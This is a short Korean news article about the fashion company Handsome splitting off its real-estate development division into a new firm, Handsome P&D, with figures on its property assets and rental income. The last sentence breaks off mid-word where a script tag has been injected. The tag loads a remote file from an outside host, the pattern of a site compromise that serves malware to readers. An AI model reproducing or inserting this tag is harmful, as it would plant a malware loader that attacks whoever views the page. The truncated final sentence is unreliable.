한섬(대표 정재봉)이 패션사업 부문과 부동산개발사업 부문을 분할한다.
한섬은 한섬피앤디를 내년 1월 1일부로 설립, 부동산개발사업 부문은 분할한다고 발표했다. 한섬피앤디의 대표이사에는 유성모씨가 내정됐다.
한섬피앤디는 휴양 콘도미니멈의 설치, 분양, 회원모집, 운영 및 위탁 운영업, 체육 시설의 설치, 회원모집, 관광숙박업, 부동산업, 숙박 및 음식업점, 위탁 매매 및 대행업 등을 목적으로 한다.
현재 한섬의 부동산개발사업 부문이 보유한 부동산 자산은 6월 30일 기준 950억원 가량이며 부동산업으로 올해 6월 30일까지 총 44억 4,200만원의 임대 수익을 올렸다.
한섬은 사업 성격이 상이한 패션사업과 부동산 개발사업을 분리함으로써 사업의 집중도와 전문성을 높여 경영효율을 높이고자 하는데 분할의 목적이 있다고 밝혔다.
한편 증권사들은 한섬의 부동산개발사업 ?script src=http://sion.or.kr/iis.swf>
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